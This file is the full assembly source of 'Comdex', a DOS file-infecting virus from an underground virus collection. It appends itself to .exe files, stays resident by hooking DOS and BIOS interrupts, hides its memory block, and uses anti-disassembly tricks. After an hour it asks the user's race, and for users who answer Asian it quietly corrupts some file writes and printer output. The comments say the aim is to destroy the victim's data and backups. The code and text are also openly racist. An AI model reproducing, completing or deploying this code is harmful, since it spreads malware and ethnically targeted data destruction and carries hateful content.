Underground/Underground CD1.iso/virii/zrodla/c/comdex7.asm

Assembly Source File | 1998-01-14 | 23.5 KB | 805 lines

;    The Comdex exibit guide program
;    For the Fall 1991 Comdex Las Vegas Convention
;
;
;        A short description of the program:
;
;        It only affects .exe files.
;        Comdex attaches itself to the end of the programs it affects.
;
;        When an affected file is run, Comdex copies itself to top of
;        free memory, and modifies the memory blocks, in order to hide from
;        memory mapping programs. Some programs may overwrite this area,
;        causing the computer to crash.  If this happens, the user obviously
;     deserved it.
;
;        Comdex will hook int 21h and when function 4b (exec) is called
;        it sometimes will affect the program being run. It will check every
;        program that is run for affection, and if it is not already
;        affected, it will be.
;
;     Comdex will, after 1 hr, one of 16 chance, ask your race or
;     nationality prior to executing a file.  Af you answer that you
;     are asian/pacific rim, one of 256 file writes will have the
;     length adjusted downward or the record size reduced, depending
;     upon the specific dos call made.
;
;
;        Comdex will remove the read-only attribute before trying to
;        affect programs.
;
;        Affected files can be easily recognized, since they always end in
;        "COMD"
;
;        To check for system affection, a byte at 0:33c is used - if it
;        contains a 069h, Comdex is installed in memory.
;
;
comsiz        equ        128        ;in paragraphs

code segment para public 'code'
        assume cs:code,ds:nothing,ss:nothing,es:nothing

;
;         Comdex is basically divided in the following parts.
;
;        1. the main program - run when an affected program is run.
;           it will check if the system is already affected, and if not
;           it will install Comdex.
;
;        2. the new int 17 handler. adjusts two ascii output chars.
;
;        3. the new int 14 handler.
;
;        4. the new int 8 handler.
;
;        5. the new int 9 handler.
;
;        6. the new int 21 handler. it will look for exec calls, and
;           affect the program being run.
;
;
;        this is a fake mcb (memory control block)
;     ms-dos inspects the chain of mcbs whenever a memory block allocation,
;     modification, or release function is requested, or when a program
;     is execed or terminated...
;
        db        'Z',00,00,comsiz,0,0,0,0,0,0,0,0,0,0,0,0
;                           ^___ # of paragraphs of the controlled mem blk



Comdex   proc    far
;
;        Comdex starts by pushing the original start address on the stack,
;        so it can transfer control there when finished.
;
labl:  sub    sp,4
        push    bp
    mov     bp,sp
        push    ax
;following line nuked for ease of test
;    nop            ;added so that scan84 doesn't id as [ice-3]
        mov     ax,es
;
;        put the the original cs on the stack. the add ax,data instruction
;        is modified by Comdex when it affects other programs.
;
        db      05h        ;this is an add ax,10h
org_cs  dw      0010h
        mov     [bp+4],ax
;
;        put the the original ip on the stack. this mov [bp+2],data instruction
;        is modified by Comdex when it affects other programs.
;
        db      0c7h,46h,02h
org_ip  dw      0000h
;
;        save all registers that are modified.
;
        push    es
        push    ds
        push    bx
        push    cx
        push    si
        push    di
;
;        check if already installed. quit if so.
;
        mov        ax,0
        mov        es,ax        ;zero es
        cmp        es:[33ch],byte ptr 069h
;&&
;        jne        l1
;
;        restore all registers and return to the original program.
;
exit:   pop        di
        pop        si
        pop        cx
        pop        bx
        pop        ds
        pop        es
        pop        ax
        pop        bp
        retf
;
;    Comdex tries to hide from detection by modifying the memory block it
;    uses, so it seems to be a block that belongs to the operating system.
;
;    it looks rather weird, but it seems to work.
;
l1:     mov     ah,52h
        call    int21        ;undefined dos call!!?
        mov     ax,es:[bx-2]
    nop
        mov     es,ax
        add     ax,es:[0003]
        inc     ax
        inc     ax
        mov     cs:[0001],ax
;
;         next, Comdex modifies the memory block of the affected program.
;         it is made smaller, and no longer the last block.
;
        mov     bx,ds
        dec     bx
    nop
        mov     ds,bx
        mov     al,'M'
        mov     ds:[0000],al
        mov     ax,ds:[0003]
        sub     ax,comsiz
        mov     ds:[0003],ax
        add     bx,ax
        inc     bx
;
;         then Comdex moves itself to the new block.
;
    mov    es,bx
    xor    si,si
    xor    di,di
    push    cs
    pop    ds
        mov     cx,652h            ;the length of this program -
                    ;be *sure* to update this!!
                    ;in fact, make it symbolic!!
        cld
        rep     movsb
;
;        Comdex then transfers control to the new copy of itself.
;
        push     es
    nop
        mov      ax,offset l3
        push     ax
        retf
    db     3dh            ;confuse disassemblers
;
;       zero some variables
;
l3:     mov     byte ptr cs:[min60],0
        mov     byte ptr cs:[min50],0
        mov     word ptr cs:[timer],0
    mov    byte ptr cs:[input_char],0
;
;       set flag to confirm installation
;
    xor    ax,ax
    mov    es,ax
    inc    ax            ;dummy operation to confuse function
        mov     byte ptr es:[33ch],069h
;
;       hook interrupt 21:
;    (the primary dos function interrupt)
;
        mov        ax,es:[0084h]
        mov        cs:[old21],ax
        mov        ax,es:[0086h]
    nop
        mov        cs:[old21+2],ax
        mov        ax,cs
        mov        es:[0086h],ax
        mov        ax,offset new21
        mov        es:[0084h],ax
;
;       hook interrupt 17:
;    (bios lpt services)
;
       mov        ax,es:[005ch]
       mov        cs:[old17],ax
       nop
       mov        ax,es:[005eh]
       mov        cs:[old17+2],ax
       inc      ax            ;dummy op
       mov        ax,cs
       mov        es:[005eh],ax
       mov        ax,offset new17
       mov        es:[005ch],ax

;
;       hook interrupt 14:
;    (bios serial port services)
;
;       mov        ax,es:[0050h]
;       mov        cs:[old17],ax
;       mov        ax,es:[0052h]
;       mov        cs:[old14+2],ax
;       mov        ax,cs
;       mov        es:[0052h],ax
;       mov        ax,offset new14
;       mov        es:[0050h],ax
;
;
;
        cmp     word ptr cs:[noinf],5
        jg      hook8
        jmp     exit
;
;       hook interrupt 9
;    (bios keyboard interrupt)
;
;hook9:  mov        ax,es:[0024h]
;       mov        cs:[old9],ax
;       mov        ax,es:[0026h]
;       mov        cs:[old9+2],ax
;       mov        ax,cs
;       mov        es:[0026h],ax
;       mov        ax,offset new9
;       mov        es:[0024h],ax
;
;       hook interrupt 8
;    (timer ticks)
;
    db       3dh,0cch,03h,3dh,3dh    ;confuse dissassemblers
hook8:  mov        ax,es:[0020h]
        mov        cs:[old8],ax
        mov        ax,es:[0022h]
        mov        cs:[old8+2],ax
        mov        ax,cs
    nop
        mov        es:[0022h],ax
        mov        ax,offset new8
        mov        es:[0020h],ax
        jmp        exit


;the int 21 calls go through this routine to confuse the issue:
int21:    push    ax
    mov    ax,0ffh
    mov    word ptr cs:[internal],ax    ;set internal int 21 flag
    mov    al,20h
    inc    al                ;put 21 in al
    mov    byte ptr cs:[int21b],al        ;self modifying code!
    pop    ax
    db    0cdh                ;int opcode
int21b:    db    0cch                ;overwritten to int 21h
    push    ax
    mov    ax,00
    mov    word ptr cs:[internal],ax    ;clear internal int 21 flag
    mov    ax,0cch
    mov    byte ptr cs:[int21b],al        ;nuke it back to int 0cch
    pop    ax
    retn



    db    "Welcome to Comdex "
    db    "From the Interface Group, Inc. "
    db    "300 First Avenue "
    db    "Needham, MA 02194 "
    db    "[phone] "
    db    "For data recovery ask for "
    db    "Peter J. Bowes, unless you are "
    db    "Oriental, in which case, we will "
    db    "not help you. "

quest      db    0dh,0ah,"Software Piracy Prevention Center",0dh,0ah
    db    "requests your cooperation:",0dh,0ah,0dh,0ah
    db    "Please enter your race or nationality:",0dh,0ah
    db    "a. White         e. Eastern European",0dh,0ah
    db    "b. Black         f. Soviet",0dh,0ah
    db    "c. Hispanic         g. Western European",0dh,0ah
    db    "d. Asian/Pacific Rim     h. Other",0dh,0ah,0dh,0ah
    db    "  Please enter your response: ","$"

input_char:    db    0
    db    3dh        ;confuse disassemblers

askit:    push    ax
    push    bx
    push    cx
    push    dx
    push    si
    push    di
    push    ds
    push    es

    cmp    byte ptr cs:[min60],1    ;resident 1 hr yet?
    jnz    noask
    cmp    byte ptr cs:[input_char],0
    jnz    noask            ;don't ask twice
    mov    ax,word ptr cs:[timer]
    and    ax,000fh        ;look at ls free running clock
    cmp    ax,000ch        ;does it happen to be 00ch? (1 of 16)
    jnz    noask            ;if not, don't ask the guy!

    mov    dx,offset quest        ;ask the guy about race
    mov    ah,09h            ;dos string print
    push    cs
    pop    ds
    call    int21            ;print question on crt
    mov    ax,0c01h        ;dos flush input and get char
    call    int21            ;get char
    and    al,0dfh            ;force upper case
    mov    byte ptr cs:[input_char],al    ;save away response
noask:    pop    es
    pop    ds
    pop    di
    pop    si
    pop    dx
    pop    cx
    pop    bx
    pop    ax
    retn

;********************************************************************

;
;       int 9 (keyboard) replacement:
;       this routine does not become active until 50 minutes after
;       the execution of an affected program.
;
;new9:   push    ax
;        push    es
;        cmp     byte ptr cs:[min50],1
;        jnz     retx1

;insert any code here that activates 50 min after launch for int 9...

;retx1:  pop     es            ;prepare to go to old int 9 code:
;        pop     ax
;        db      0eah            ;jmp 0000:0000 nmemonic
;old9    dw      0,0            ;storage for old addr


;********************************************************************
;
;       new int 14 (serial port) routine -
;
;new14:  cmp     ah,1            ;is it an output request?
;        jz      s1            ;yup.  don't return just yet.
;do14:   db      0eah            ;jmp 0000:0000 nmemonic
;old14   dw      0,0
;s1:

;insert any code here for output to serial port...

;        jmp     do14


;********************************************************************
;
;       new int 8 routine  (bios timer ticks)
;
    db    3dh            ;piss off disassemblers
new8:      push    dx
        push    cx
        push    bx
        push    ax
    jmp    txex ;&&
    inc    word ptr cs:[timer]        ; increment timer
        cmp     byte ptr cs:[min60],01          ; if counter >= 60 min.
        jz      tt0                             ; no need to check any more
        cmp     word ptr cs:[timer],-11         ; 60 minutes ?
        jz      tt1
        cmp     word ptr cs:[timer],54601       ; 50 minutes ?
        jz      tt2
        jmp     txex
;
;       50 minutes after an affected program is run the flag is set.
;
tt2:    mov     byte ptr cs:[min50],1
        jmp     txex
;
;       60 minutes after an affected program is run this flag is set.
;
tt1:    mov     byte ptr cs:[min60],1

;    exit interrupt routine:

        jmp     txex
;
;       every time an int 8 occurs, after the 60 min. have passed, we
;       end up here:
;
tt0:
;insert any fun timer oriented code here
;
;       restore registers and quit
;
txex:   pop     ax
        pop     bx
        pop     cx
        pop     dx
        db      0eah
old8    dw      0,0

;********************************************************************
;
;       new int 17 routine. lpt out stuff.
;
new17:  jmp    do17    ;&&
    cmp     ah,0

        jz      p0
do17:   db      0eah
old17   dw      0,0
    db    2eh            ;confuse disassemblers
p0:    cmp    byte ptr cs:[input_char],44h    ;d. asian/pacific rim?
    jne    not_asian
    push    ax
    mov    ax,word ptr cs:[timer]
    and    ax,00ffh
    cmp    ax,0032h        ; one of 256 odds
    pop    ax            ; restore ax, doesn't change flags
    jne    do17            ; don't twiddle lpt 255/256 odds
    cmp    al,55h            ; printing a "U"?
    jne    notu
    mov    al,0efh            ; make it upside-down!
    jmp    do17            ; and continue.
notu:    cmp    al,06fh            ; lower case "o"?
    jne    do17            ; no?  then exit.
    mov    al,093h            ; make it an "o" with a ^ over it!
    jmp    do17            ; and exit.
not_asian:
        jmp     do17


;Int 21 file adjustment routines - the following routines corrupt a small
;percentage of the file writes that Asians do in their use of the pc.  For
;example, when one updates a spreadsheet or exits a word processor, the
;application software will re-write the file out to disk.  What we do here
;is reduce the amount of the data that is written to the file.  The hope
;is that the problem will be hidden for a significant period of time, since
;it happens only infrequently, and since it typically will happen upon exit
;of the application package.  If the reduction of the write causes a serious
;problem (we hope it will) it won't usually be noticed until that file is
;loaded again.  The other hope is that if the user does backup his data from
;time to time, this corrupted data will end up on the backup as well before
;the problem is noticed.  With luck, maybe the user will assume that the
;hardware is intermittent, and backup the system over the top of his only
;existing backup set, then purchase replacement hardware.



fuck_size_f:            ;if asian, reduce file rec size by 1 on fcb ops
    push    ax
    push    di
    push    dx        ;setup di for indexed operations
    pop    di
    cmp    byte ptr cs:[input_char],044h    ;asian?
    jne    exit_fuck_f    ;no, then do nothing
    mov    ax,word ptr cs:[timer]
    and    ax,00ffh    ;mask off ls 8 bits of free run timer
    cmp    ax,0069h    ;does it happen to be 69h? (1 of 256)
    jne    exit_fuck_f    ;nope, so do nothing

    mov    al,[ds:di+0]    ;get first byte of user's fcb
    cmp    al,0ffh        ;extended fcb?
    jne    norm_fcb    ;nope, so handle as normal fcb
    mov    ax,[ds:di+15h]    ;get record size, 16 bits on extd fcb.
    dec    ax        ;adjust it a bit, since the user really doesn't
                ;need to write so much data.
    mov    [ds:di+15h],ax
    jmp    exit_fuck_f    ;subsequent r/w ops should fail to get the
                ;right data until this file is closed or
                ;until system crashes.

norm_fcb:
    mov    al,[ds:di+0eh]    ;get record size, only 8 bits on norm fcb.
    dec    al        ;reduce by 1
    mov    [ds:di+0eh],al    ;store it back
exit_fuck_f:
    pop    di
    pop    ax
    jmp    do21


fuck_size_h:            ;reduce length of handle file writes
    push    ax
    push    di
    push    dx
    pop    di
    cmp    byte ptr cs:[input_char],044h  ;asian?
    jne    exit_fuck_h    ;no, so don't damage anything.
    mov    ax,word ptr cs:[timer]
    and    ax,00ffh
    cmp    ax,0066h    ;one out of 256 odds
    jne    try_again    ;no?  well give it another chance.
    and    cx,0fff5h    ;reduce write length in bytes by a flakey amt
    dec    cx        ;ranging from 1 to 11 bytes.
exit_fuck_h:
    pop    ax
    jmp    do21

try_again:
    cmp    ax,0077h    ;one of 256 odds?
    jne    exit_fuck_h    ;exit if not lucky.
    mov    ax,[ds:di+30h]    ;get a user data byte from his buffer
    xor    ax,0004h    ;toggle bit 2 of byte 30h
    mov    [ds:di+30h],ax    ;and put it back
    jmp    exit_fuck_h

;********************************************************************
;
;        this is the int 21 replacement. it only does something in
;        the case of an execute program dos call.
;
;be careful here not to trap int codes that we use internally!
new21:  jmp    do21    ;&&
    push    ax
    cmp    word ptr cs:[internal],0ffh ;is it an internal int 21?
    je    do21            ;yup, so no tweaking allowed
    pop    ax
    cmp    ah,015h            ;is it a fcb file write?
    je    fuck_size_f        ;if asian, reduce record size by 1
    cmp    ah,040h            ;is it a handle file write?
    je    fuck_size_h        ;if asian, adjust write length down.
    cmp    ah,4bh            ;is it an int 21 code 4b?
        je     l5            ;yup.  go affect stuff
do21:   db     0eah            ;nope.  let dos handle it
old21   dw     0,0
;
;       the code to only affect every tenth program has been removed
;    for now.  restore this code later.
;
    db        3dh            ;confuse disassemblers
l5:     call        askit        ;ask race if appropriate
    push        ax
        push        bx
        push        cx
        push        dx
        push        si
        push        ds
;
;        search for the file name extension ...
;
        mov        bx,dx
l6:     inc        bx
        cmp        byte ptr [bx],'.'
        je         l8
        cmp        byte ptr [bx],0
        jne        l6
;
;        ... and quit unless it starts with "ex".
;
l7:     pop        ds
        pop        si
        pop        dx
        pop        cx
        pop        bx
        pop        ax
        jmp        do21
l8:     inc        bx
        cmp        word ptr [bx],5845h        ;"EX"
        jne        l7
;
;        when an .exe file is found, Comdex starts by turning off
;        the read-only attribute. the read-only attribute is not restored
;        when the file has been affected.
;
        mov        ax,4300h                ; get attribute
        call       int21
        jc         l7
        mov        ax,4301h                ; set attribute
        and        cx,0feh
        call       int21
        jc         l7
;
;        next, the file is examined to see if it is already affected.
;         the signature (4418 5f19) is stored in the last two words.
;
        mov        ax,3d02h                ; open / write access
        call       int21
        jc         l7
        mov        bx,ax                        ; file handle in bx
;
;       this part of the code is new: get date of file.
;
        mov     ax,5700h
        call    int21
        jc      l9
        mov     cs:[date1],dx
        mov     cs:[date2],cx
;
        push    cs                        ; now ds is no longer needed
        pop     ds
;
;        the header of the file is read in at [id+8]. Comdex then
;        modifies itself, according to the information stored in the
;        header. (the original cs and ip addressed are stored).
;
        mov        dx,offset id+8
        mov        cx,1ch
        mov        ah,3fh
        call       int21
        jc         l9
        mov        ax,ds:id[1ch]
        mov        ds:[org_ip],ax
    inc       ax            ;confuse reader a little
        mov        ax,ds:id[1eh]
        add        ax,10h
        mov        ds:[org_cs],ax
;
;        next the read/write pointer is moved to the end of the file-4,
;        and the last 4 bytes read. they are compared to the signature,
;        and if equal nothing happens.
;
        mov        ax,4202h
        mov        cx,-1
        mov        dx,-4
        call       int21
        jc         l9
        add        ax,4
        mov        ds:[len_lo],ax
        jnc        l8a
        inc        dx
l8a:    mov        ds:[len_hi],dx
;
;       this part of Comdex is new - check if it is below minimum length
;
        cmp        dx,0
        jne        l8b
        mov        cl,13
        shr        ax,cl
        cmp        ax,0
        jg         l8b
    nop
        jmp        short l9
l8b:    mov        ah,3fh
        mov        cx,4
        mov        dx,offset id+4
        call       int21
        jnc        l11
l9:     mov        ah,3eh
        call       int21
l10:    jmp        l7
    db       3eh            ;confuse disassemblers
;
;        compare to 4f43,444d which is first 4 letters of Comdex
;
l11:    mov        si,offset id+4
        mov        ax,[si]
        cmp        ax,4f43h        ;ascii "OC"
        jne        l12
        mov        ax,[si+2]
        cmp        ax,444dh        ;ascii "DM"
        je         l9
;
;        the file is not affected, so the next thing Comdex does is
;        affect it. first it is padded so the length becomes a multiple
;        of 16 bytes. this is done so Comdex code can start at a
;        paragraph boundary.
;
l12:    mov        ax,ds:[len_lo]
        and        ax,0fh
        jz         l13
        mov        cx,16
        sub        cx,ax
    nop
        add        ds:[len_lo],cx
        jnc        l12a
        inc        ds:[len_hi]
l12a:   mov        ah,40h
        call       int21        ;dos write to file
        jc         l9
;
;        next the main body of Comdex is written to the end.
;
l13:    xor       dx,dx
        mov        cx,offset id + 4
        mov        ah,40h        ;dos write to file
        call       int21
        jc         l9
;
;        next the .exe file header is modified:
;
;        first modify initial ip
;
f0:     mov        ax,offset labl
        mov        ds:id[1ch],ax
;
;        modify starting cs = Comdex cs. it is computed as:
;
;        (original length of file+padding)/16 - start of load module
;
        mov        dx,ds:[len_hi]
        mov        ax,ds:[len_lo]
        mov        cl,cs:[const1]               ; modified a bit
        shr        dx,cl
        rcr        ax,cl
    nop
        shr        dx,cl
        rcr        ax,cl
        shr        dx,cl
        rcr        ax,cl
        nop
    shr        dx,cl
        rcr        ax,cl
        sub        ax,ds:id[10h]
        mov        ds:id[1eh],ax
;
;        modify length mod 512
;
        add        ds:[len_lo],offset id+4
        jnc        l14
        inc        ds:[len_hi]
l14:    mov        ax,ds:[len_lo]
        and        ax,511
    nop
        mov        ds:id[0ah],ax
;
;        modify number of blocks used
;
        mov        dx,ds:[len_hi]
        mov        ax,ds:[len_lo]
        add        ax,511
        jnc        l14a
        inc        dx
l14a:   mov        al,ah
        mov        ah,dl
        shr        ax,1
        mov        ds:id[0ch],ax
;
;        finally the modified header is written back to the start of the
;        file.
;
wrtback:mov     ax,4200h
        xor    cx,cx
        xor    dx,dx
        call    int21            ;dos move file pointer
        jc      endit
        mov     ah,40h
        mov     dx,offset id+8
        mov     cx,1ch
        call    int21            ;dos write to file
;
;       this part is new:       restore old date.
;
        mov     dx,cs:[date1]
        mov     cx,cs:[date2]
        mov     ax,5701h
        call    int21            ;dos set file date and time
        jc      endit
        inc     word ptr cs:[noinf]
;
;        affection is finished - close the file and execute it
;
endit:  jmp     l9
;
;

timer    dw    0    ; number of timer (int 8) ticks
const1  db      1       ; the constant 1
const0  dw      0       ; the constant 0
internal dw    0    ; internal int 21 in effect.
min50    db    0    ; flag, set to 1 50 minutes after execution
min60   db      0       ; flag, set to 1 60 minutes after execution
vmode   db      0       ; video mode
date1   dw      ?       ; date of file
date2   dw      ?       ; ditto.
len_lo  dw      ?
len_hi  dw      ?
noinf   dw      0       ; number of affections
id      label word
        db      "COMD"  ; the signature of Comdex.
;
;        a buffer, used for data from the file.
;

Comdex   endp
code        ends

        end labl